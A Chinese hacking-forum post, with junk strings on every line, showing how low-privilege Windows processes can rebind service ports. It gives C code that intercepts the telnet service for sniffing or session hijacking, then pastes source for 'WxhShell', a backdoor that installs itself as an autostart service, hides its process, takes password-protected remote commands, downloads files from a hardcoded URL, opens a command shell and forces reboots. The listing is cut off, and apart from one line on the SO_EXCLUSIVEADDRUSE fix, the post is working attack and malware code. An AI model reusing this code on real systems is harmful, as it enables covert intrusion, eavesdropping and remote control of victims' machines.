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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (eCJ;%%k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qQA}Z*( m  
*+j* {>E  
  saddr.sin_family = AF_INET; @x"0_Qw  
::ajlRZG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "OQ^U_  
plb!.g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); rM .|1(u  
u=/{cOJI6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y%PwktQm  
~aMlr6;  
  这意味着什么?意味着可以进行如下的攻击: A*2  bA  
_AQb6Nb  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \ ^ZlG.  
P%{^i]  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1QLbf*zeIW  
|+iws8xK?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 txiP!+3OWB  
5&v~i\Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RRRCS]y7$t  
4*Q#0`um  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^.1c{0Y^0  
7on.4/;M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?Cl%{2omO  
|K.mP4CKY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Qa.<K{m#?  
EQf[,  
  #include (iL|Sq&}b  
  #include f !s=(H;  
  #include Zb1<:[  
  #include    q:dHC,fO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   t.laO. 3  
  int main() m=}B,']O  
  { :?/cPg'D  
  WORD wVersionRequested; 8-BflejX  
  DWORD ret; gW-V=LV (  
  WSADATA wsaData; ft$RSb#  
  BOOL val; a"FCZ.O1  
  SOCKADDR_IN saddr; BReJ!|{m}  
  SOCKADDR_IN scaddr; A9wh(P0\  
  int err; g=;%  
  SOCKET s; |2abmuR0  
  SOCKET sc; ?,& tNP{jq  
  int caddsize; kL$!E9  
  HANDLE mt; VH+%a<v"  
  DWORD tid;   oW<5|FaN  
  wVersionRequested = MAKEWORD( 2, 2 ); 9\/xOwR  
  err = WSAStartup( wVersionRequested, &wsaData ); f7=((5N  
  if ( err != 0 ) { NMa} <  
  printf("error!WSAStartup failed!\n"); p(~Yx3$*  
  return -1; :a$\/E=  
  } ~nrK>%  
  saddr.sin_family = AF_INET; 0URji~?|x  
   c&AygqN  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (CsD*U`h  
qMLD)rL  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); dR"@`  
  saddr.sin_port = htons(23); jg.QRny^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y8o)FVcyNy  
  { Qk,I^1w?7  
  printf("error!socket failed!\n"); ch0{+g&  
  return -1; t0IEaj75c  
  } <-[wd.M_  
  val = TRUE; pov)Z):}G<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 gLy&esJl1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) #wV8X`g  
  { a'2$nbp}  
  printf("error!setsockopt failed!\n"); B)qWtMZx  
  return -1; k&,~qoU  
  } Q aS\(_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; G&4&-<  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 sOU1n  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !"\80LP  
J[4mL U  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) i70w rW#k  
  { ]=>F.GE  
  ret=GetLastError(); &ge "x{,?  
  printf("error!bind failed!\n"); 4scNSeW  
  return -1; i[?Vin  
  } >AcrG]  
  listen(s,2); ^-,xE>3o  
  while(1) y#q?A,C@n  
  { b)=[1g/=L  
  caddsize = sizeof(scaddr); Kjs.L!W  
  //接受连接请求 MM (xk  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X4 A<[&F/  
  if(sc!=INVALID_SOCKET) q U]gj@R  
  { -( f)6a+H  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); MP!d4  
  if(mt==NULL) PX<J&rx  
  { a=hxJ1O  
  printf("Thread Creat Failed!\n"); ~])t 6i  
  break; @Ub"5Fl4  
  } J/[=p<I)  
  } 0cJWJOj&  
  CloseHandle(mt); yuat" Pg  
  } R}q>O5O  
  closesocket(s); .=X}cJ]`[  
  WSACleanup(); uf&myV7  
  return 0; [%77bv85.G  
  }   x "^Xj]-  
  DWORD WINAPI ClientThread(LPVOID lpParam) P] UJ0b  
  { "4uS3h2r  
  SOCKET ss = (SOCKET)lpParam; C/TF-g-_Y  
  SOCKET sc; e> (<eu~P  
  unsigned char buf[4096]; MLRK74D  
  SOCKADDR_IN saddr; xwJH(_-  
  long num;  :}@g6   
  DWORD val; E0MGRI"me  
  DWORD ret; _nbBIaHN{  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `C$:Yf]%nG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   bO'Sgc[]  
  saddr.sin_family = AF_INET; i`dC G[  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); w*oQ["SL  
  saddr.sin_port = htons(23); 9983aFam  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ?e,pN,4  
  { >h k=VyU;  
  printf("error!socket failed!\n"); )u/yF*:n  
  return -1; E )5E$  
  } DDPxmuNG  
  val = 100; hvDNz"ec{  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `kZ@Zmj#  
  { 3td)'}  
  ret = GetLastError(); ]dI2y=[!C  
  return -1; w8Sp <6*  
  } = c>Qx"Sw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *:L?#Bw  
  { E}40oID  
  ret = GetLastError(); &!/}Qp  
  return -1; ,!7 H]4Qx  
  } 1e&QSzL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $`z)~6'  
  { (UU(:/  
  printf("error!socket connect failed!\n"); iy14mh\ ~  
  closesocket(sc); rld67'KcE  
  closesocket(ss); `eIenA  
  return -1; rmE"rf  
  } @> E2?CV  
  while(1) 1Dv R[Lx%  
  { {`K m_<Te!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 QrYpZZ;  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 * v75O7l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {a4z2"\A  
  num = recv(ss,buf,4096,0); )0Me?BRp  
  if(num>0) \ aHVs  
  send(sc,buf,num,0); U2ZD]q  
  else if(num==0) \9/ b!A  
  break; Lz:(6`S  
  num = recv(sc,buf,4096,0); { Fawt:  
  if(num>0) ,)iKH]lY=  
  send(ss,buf,num,0); $aN&nhoO<  
  else if(num==0) 21< j\ M  
  break; U`Wauv&  
  } &<UMBAS  
  closesocket(ss); c2e tc8  
  closesocket(sc); ?zQA  
  return 0 ; K9OYri^TQ  
  } xv&Q+HD  
qeL5D*  
V\^EfQ  
========================================================== .R9IL-3fO  
[BT/~6ovrZ  
下边附上一个代码,,WXhSHELL Qt/8r*Oe  
qU#BJON]BR  
========================================================== 3 AsT  
z&{5;A}Q@  
#include "stdafx.h" rxy&spX  
{6~l$  
#include <stdio.h> Um: Hrjw  
#include <string.h> dO4{|(z  
#include <windows.h> AiK  
#include <winsock2.h> jSwf*u  
#include <winsvc.h>  \o/n  
#include <urlmon.h> I+dbZBX  
Xt#4/>dlR  
#pragma comment (lib, "Ws2_32.lib") qt;y2gf=  
#pragma comment (lib, "urlmon.lib") Hrzf'a|^  
>&p0d0  
#define MAX_USER   100 // 最大客户端连接数 t$A%*JBKm  
#define BUF_SOCK   200 // sock buffer %"af748!+D  
#define KEY_BUFF   255 // 输入 buffer IjR'Qou5  
RW}"2  
#define REBOOT     0   // 重启 yRiP{$E  
#define SHUTDOWN   1   // 关机 &'DU0c&  
ngat0'oa  
#define DEF_PORT   5000 // 监听端口 /l<<_uk$  
1$81E.  
#define REG_LEN     16   // 注册表键长度 V 2i@.@$j  
#define SVC_LEN     80   // NT服务名长度 _<NMyRJo  
W~p/,HcM  
// 从dll定义API aOiR l,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ltD37QZQ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3l3'bw2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YJl("MZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 61j I  
[fKUyIY_  
// wxhshell配置信息  R#DwF,  
struct WSCFG { YBP:q2H  
  int ws_port;         // 监听端口 K!]1oy'V  
  char ws_passstr[REG_LEN]; // 口令 M>>qn_yq4  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,i,q!M{-  
  char ws_regname[REG_LEN]; // 注册表键名 v0ES;  
  char ws_svcname[REG_LEN]; // 服务名 [w&$|h:;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +C(/ Lyo}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 EB_NK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 d R]Q$CJ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %0mMz.f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" BYo/57&:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nYa*b=[.  
-atGlu2  
}; & _g TD  
A6pjRxg  
// default Wxhshell configuration rJ!{/3e  
struct WSCFG wscfg={DEF_PORT, Kbb78S30  
    "xuhuanlingzhe", =T7A]U]  
    1, *s>BG1$<  
    "Wxhshell", 't9hXzAfW  
    "Wxhshell", D.1J_Y=9  
            "WxhShell Service", {!K-E9_,S  
    "Wrsky Windows CmdShell Service",  HC a  
    "Please Input Your Password: ", wu4NLgkE  
  1, NSFs\a@1  
  "http://www.wrsky.com/wxhshell.exe", 3t0[^cY8=z  
  "Wxhshell.exe" en:4H   
    };  aKd+CO:  
5n ^TRB  
// 消息定义模块 ^-a8V'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; d'|, [p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; viAMr"z  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jOyvDY9\  
char *msg_ws_ext="\n\rExit."; j $TwL;  
char *msg_ws_end="\n\rQuit."; ]d]JXt?)i  
char *msg_ws_boot="\n\rReboot..."; UEzb^(8>  
char *msg_ws_poff="\n\rShutdown..."; , E$@=1)  
char *msg_ws_down="\n\rSave to "; _C+b]r/E  
XbZ*&  
char *msg_ws_err="\n\rErr!"; 60)iw4<wf  
char *msg_ws_ok="\n\rOK!"; hAjM1UQ,Y  
(}5S  
char ExeFile[MAX_PATH]; F|HJH"2*&q  
int nUser = 0; 6O22P?v  
HANDLE handles[MAX_USER]; \J6hI\/4^  
int OsIsNt; | /|  
A;O~#Chvd  
SERVICE_STATUS       serviceStatus; ,.o<no  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Vm|Y$ C  
,~);EC=`  
// 函数声明 wV)}a5+  
int Install(void); \xUe/=  
int Uninstall(void); !!:LJ  
int DownloadFile(char *sURL, SOCKET wsh); wHem5E  
int Boot(int flag); ;kJu$U  
void HideProc(void); 2Gs$?}"a  
int GetOsVer(void); hG_?8:W8HT  
int Wxhshell(SOCKET wsl); gn{=%`[  
void TalkWithClient(void *cs); @Kgl%[NmX  
int CmdShell(SOCKET sock); 7 lo|dg80  
int StartFromService(void); _6Eu2|vM&  
int StartWxhshell(LPSTR lpCmdLine); 7'-j%!#w  
" sgjWo6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P/ oXDI8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); kGUJ9Du  
\Fe_rh  
// 数据结构和表定义 :Yj) CGl$  
SERVICE_TABLE_ENTRY DispatchTable[] = \i[BP  
{ \bx~*FaX  
{wscfg.ws_svcname, NTServiceMain}, 3s>'hn  
{NULL, NULL} "z*:'8;E  
}; ?~QIALA  
U5]pi+r  
// 自我安装 t nS+5F  
int Install(void) 5eA8niq#  
{ [,aqQ6S  
  char svExeFile[MAX_PATH]; JNFIT;L  
  HKEY key; BvU"4d;x  
  strcpy(svExeFile,ExeFile); j2P n<0U  
1'4J[S\cM  
// 如果是win9x系统,修改注册表设为自启动 "W#t;;9Wz  
if(!OsIsNt) { 6st^4S5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =9LC<2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "|m|E/Z-9  
  RegCloseKey(key); (#oycj^<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3?E&}J<n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RAjkH`  
  RegCloseKey(key); do-c1;M  
  return 0; Q8MS,7y/  
    } m4[g6pNx~  
  } ?'r9"M>  
} 'lS `s(  
else { {FI\~ q  
to6;?uC+|i  
// 如果是NT以上系统,安装为系统服务 z\/53Sy<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6TH!vuQ1(  
if (schSCManager!=0) .]|Zf!>}s  
{ QI_59f>  
  SC_HANDLE schService = CreateService D0;tcm.$  
  ( SLhEc  
  schSCManager, Y1dVM]l  
  wscfg.ws_svcname, "*7C`y5&P  
  wscfg.ws_svcdisp, 1>r ,vD&  
  SERVICE_ALL_ACCESS, 0 3~Ikll  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , r Db>&s3  
  SERVICE_AUTO_START, o/,NGU  
  SERVICE_ERROR_NORMAL, > 4oY3wk8  
  svExeFile, 1zktU.SZ  
  NULL, A{<xc[w;p  
  NULL, =raA?Bp3;(  
  NULL, 9B)(>~q  
  NULL, @gSkROCdC)  
  NULL Bfd-:`Jk  
  ); j|e[s ? d  
  if (schService!=0) QT#6'>&7-b  
  { G*\h\ @  
  CloseServiceHandle(schService); ,kgF2K!  
  CloseServiceHandle(schSCManager); )uP[!LV[e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =w<v3wWN4  
  strcat(svExeFile,wscfg.ws_svcname); _N3}gFh>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2*U.^]~"{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yZJ*dadAr  
  RegCloseKey(key); m h;X~.98  
  return 0; Icp0A\L@  
    } :[M[(  
  } %McO6.M@  
  CloseServiceHandle(schSCManager); 4(vyp.f  
} 0p fnV%  
} 2:$ k  
uG>nV  
return 1; gUB{Bh($Y  
} K%}}fw2RMN  
Y(GN4@`S  
// 自我卸载 |xr32g s  
int Uninstall(void) i9UI,b%X  
{ LNQSb4  
  HKEY key; wUi(3g|A  
sa1mC  
if(!OsIsNt) { ?kt=z4h9(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jnoL2JR[=-  
  RegDeleteValue(key,wscfg.ws_regname); 30FykNh  
  RegCloseKey(key); ~_!ts{[E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xz;b,C&*t  
  RegDeleteValue(key,wscfg.ws_regname); .F0]6#(  
  RegCloseKey(key); #B\=Aa`*  
  return 0; ]2+g&ox4'  
  } fo\\o4Qyh  
} r3I,11B  
} 4Y tk!oS`  
else { ~hURs;Sb  
${U6=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); oVZ4bRl   
if (schSCManager!=0) nR8]@cC  
{ LD+f'^>>Z  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gZ(O)uzv  
  if (schService!=0) '=} Y2?(  
  { Ohl} X 1  
  if(DeleteService(schService)!=0) { /~}_hO$S  
  CloseServiceHandle(schService); ZHy><=2  
  CloseServiceHandle(schSCManager); ?gV'(3 !  
  return 0; !=[uT+v  
  } 7tH]*T9e>  
  CloseServiceHandle(schService); {e]NU<G ,  
  } ,VD6s !(  
  CloseServiceHandle(schSCManager); 2 X<nn  
} \Tq "mw9P  
} kqB\xlS7k  
K="I<bK  
return 1; '7nJb6V,0l  
} i+~QDo(Pi  
vmKT F!;  
// 从指定url下载文件 T 2bnzI i  
int DownloadFile(char *sURL, SOCKET wsh) ) Ypz!  
{ GhnE>d;i  
  HRESULT hr; $P?{O3:V  
char seps[]= "/"; o_ yRn16  
char *token; xQz#i-v  
char *file; ^now}u9S6  
char myURL[MAX_PATH]; NyJnOw(  
char myFILE[MAX_PATH]; 4/L>&%8V  
$e/*/.  
strcpy(myURL,sURL); /{N))  
  token=strtok(myURL,seps); `F,zenk=  
  while(token!=NULL) ez0\bym  
  { >=!AL,:  
    file=token; ?;8M^a/  
  token=strtok(NULL,seps); \ j]~>9  
  } {v+a!#{c7  
*4#on>  
GetCurrentDirectory(MAX_PATH,myFILE); a!.!2a&t  
strcat(myFILE, "\\"); spiDm:Xe  
strcat(myFILE, file); P $h;SK  
  send(wsh,myFILE,strlen(myFILE),0); -fM1$/]  
send(wsh,"...",3,0); }W "(c YN_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $DV-Ieb  
  if(hr==S_OK) fH!=Zb_{8  
return 0; a R#Cot  
else '?R=P  
return 1; v,\93mNp[  
SY6r 8RK  
} J%4HNW*p  
70<K .T<b  
// 系统电源模块 /s-d?  
int Boot(int flag) P`!Ak@N  
{ 9`&77+|;e  
  HANDLE hToken; t/Z!O z6ZE  
  TOKEN_PRIVILEGES tkp; P7 8uq  
"4[<]pq  
  if(OsIsNt) { A}eOR=E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ocP*\NR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~}%&p& p  
    tkp.PrivilegeCount = 1; L`[F~$|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ` Y\QUj  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1OPfRDn.bk  
if(flag==REBOOT) { 8g5.7{ky  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !'PlDGD  
  return 0; QAXYrRu  
} <"ae4  
else { 14u^[M" U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iJ*%dio  
  return 0; q+J0}y{#8)  
} _U=S]2 Q W  
  } 'X ~Ab  
  else { 2e\Kw+(>{  
if(flag==REBOOT) { coO.kTO;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tAt;bYjb\  
  return 0; >;.*  
} n@o  
else { agTK =  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %((cFQ9  
  return 0; T=yCN#cqQ`  
} i\Q":4  
} T;%+]:w<  
%rFllb7  
return 1; ?7 X3 P  
} u dUXc6U  
T@>6 3  
// win9x进程隐藏模块 Q5T(nEA  
void HideProc(void) 'w `d$c/p  
{ L.Vq1RU\"  
6fQ*X~| p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PJ6$);9}6  
  if ( hKernel != NULL ) k#-[ M.i  
  { " #J}A0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^1vq{/ X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); L`JY4JM"  
    FreeLibrary(hKernel); ;lkf+,;  
  } SFOQM*H  
'U*udkn 2]  
return; ?xf~!D  
} aH9L|BN*  
l85CJ+rg  
// 获取操作系统版本 ^zkd{ov  
int GetOsVer(void) `O jvt-5}E  
{ J b|mXNcL  
  OSVERSIONINFO winfo; n_ OUWvs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;p.j  
  GetVersionEx(&winfo); %0Vc\M@"G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {vCU^BN,k  
  return 1; V?o&])?[  
  else `oan,wq+  
  return 0; f 3\w99\o  
} ar=hx+  
5M]6'X6I  
// 客户端句柄模块 8*"rZh}'  
int Wxhshell(SOCKET wsl) bv_AJ4gS  
{ 1w6.   
  SOCKET wsh; mURX I'JkX  
  struct sockaddr_in client; OHQ3+WJ  
  DWORD myID; ~'|&{-<  
bwT"$Ee  
  while(nUser<MAX_USER) &8.z$}m  
{ l!Nvn$h m  
  int nSize=sizeof(client); AZ}%MA; q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /}[zA@  
  if(wsh==INVALID_SOCKET) return 1; ..]B9M.  
:r[W'h_%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q&tFv;1w6  
if(handles[nUser]==0) Y&~5k;>'_  
  closesocket(wsh); V}p*HB@:  
else 9n-RXVL+  
  nUser++; <`^>bv9  
  } FP0<-9DO  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Y'\3ux0]4'  
$K;_Wf  
  return 0; eDvXU_yA  
}  \q|e8k4p  
p3i qW,[@  
// 关闭 socket ;o&_:]S  
void CloseIt(SOCKET wsh) I]s:Ev[~  
{ t,UW&iLK  
closesocket(wsh); cC*zj \O  
nUser--; ^?JEyY  
ExitThread(0); \=TWYj_Ah  
} )GQ D*b  
Yk x&6M@t  
// 客户端请求句柄 ZzSJm+&'  
void TalkWithClient(void *cs) <PH3gyC  
{ bi,rMgW  
>7eu'  
  SOCKET wsh=(SOCKET)cs; 47$-5k30  
  char pwd[SVC_LEN]; w4 >:uyE  
  char cmd[KEY_BUFF]; N$L&|4r  
char chr[1]; !: `Ra  
int i,j; a'(lVZA;  
+/1P^U /  
  while (nUser < MAX_USER) { 3RG/X  
L8%=k%H(1  
if(wscfg.ws_passstr) { U* c{:K-C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jFK9?cLT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); uT@8 _9  
  //ZeroMemory(pwd,KEY_BUFF); xQcMQ{&;  
      i=0; Q|zE@nLS  
  while(i<SVC_LEN) { C]{V%jU  
E$oA+n~  
  // 设置超时 R;N>#_9HU  
  fd_set FdRead; ,(5dQ`hA0  
  struct timeval TimeOut; as\)S?0`.  
  FD_ZERO(&FdRead); 9'1;-^U1  
  FD_SET(wsh,&FdRead); M<hs_8_*  
  TimeOut.tv_sec=8; bDcWb2 lqs  
  TimeOut.tv_usec=0; JRcuw'8+q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fb $5&~d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BBZ)H6TzL  
cviN$oL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '{1W)X  
  pwd=chr[0]; ;FIMCJS  
  if(chr[0]==0xd || chr[0]==0xa) { FlM.D u  
  pwd=0; (>kBmK1Aj  
  break; '3Y0D1`v  
  } \^^hG5f  
  i++; 4%Z\G@0<'  
    } P,+ 0   
2t~7eI%d  
  // 如果是非法用户,关闭 socket )yz9? ]a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J_)z:`[yE  
} ! S$oaCxM  
^y;OHo  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); z;Gbqr?{{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7m@^=w  
Z"PDOwj5  
while(1) { |M0,%~Kt  
h)aWerzL  
  ZeroMemory(cmd,KEY_BUFF); D[FfJcV'$  
A,A-5l<h]?  
      // 自动支持客户端 telnet标准   e`gGzyM  
  j=0; /ltP@*bo  
  while(j<KEY_BUFF) { oVxV,oH(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tkUW)ScJ  
  cmd[j]=chr[0]; y}H*p  
  if(chr[0]==0xa || chr[0]==0xd) { ? geWR_Z  
  cmd[j]=0; {?kKpMNNn  
  break; -qnXa  
  } :)3$&QdHT  
  j++; x X=IMM3  
    } Dk. 9&9mz  
lpX p )r+  
  // 下载文件 ct|'I]nB.h  
  if(strstr(cmd,"http://")) { .w*{=x0k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VNh,pQ(  
  if(DownloadFile(cmd,wsh)) =G3J.S*Riy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D;T r  
  else Aj)< 8  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }Rf :DmPE  
  } "Ee/q:`  
  else { c`N`x U+z  
]$`s}BN  
    switch(cmd[0]) { ;V}FbWz^v6  
  IbNTdg]/F`  
  // 帮助 ,:Ix s^-  
  case '?': { Cg%I)nz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  PtVNG  
    break; t+TbCe  
  } &#EVE xL  
  // 安装 @8 yE(  
  case 'i': { r~B Qy'  
    if(Install()) a[{QlD^D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v!v0,?b*  
    else B}xo|:f!zj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {Z{NH:^  
    break; qh'f,#dI}  
    } H ]N/Y{  
  // 卸载 m3v* ,~  
  case 'r': { >p+gx,N  
    if(Uninstall()) 4 d1Y\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F|ML$  
    else S:GUR6g8D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); do?n /<@o  
    break; ez<wEt S  
    } %A[p!U  
  // 显示 wxhshell 所在路径 NbK?Dg8WJG  
  case 'p': { A#07Ly8kXn  
    char svExeFile[MAX_PATH]; :+V1682u  
    strcpy(svExeFile,"\n\r"); b-=[(]_$h  
      strcat(svExeFile,ExeFile); 0 Vgn N  
        send(wsh,svExeFile,strlen(svExeFile),0); mWFZg.#?  
    break; Q*J ~wuE2  
    } TH}ycue  
  // 重启 YKS'#F2  
  case 'b': { $Q7E#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E*b[.vUp  
    if(Boot(REBOOT)) d/99!+r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;[\2/$-  
    else { Gw\HL  
    closesocket(wsh); &CP@] pi9L  
    ExitThread(0); .g`*cDW^=  
    } :phD?\!w8t  
    break; %a6]gsiv2<  
    } ~q%9zO'  
  // 关机 #RIfR7`T  
  case 'd': { <{).x 6  
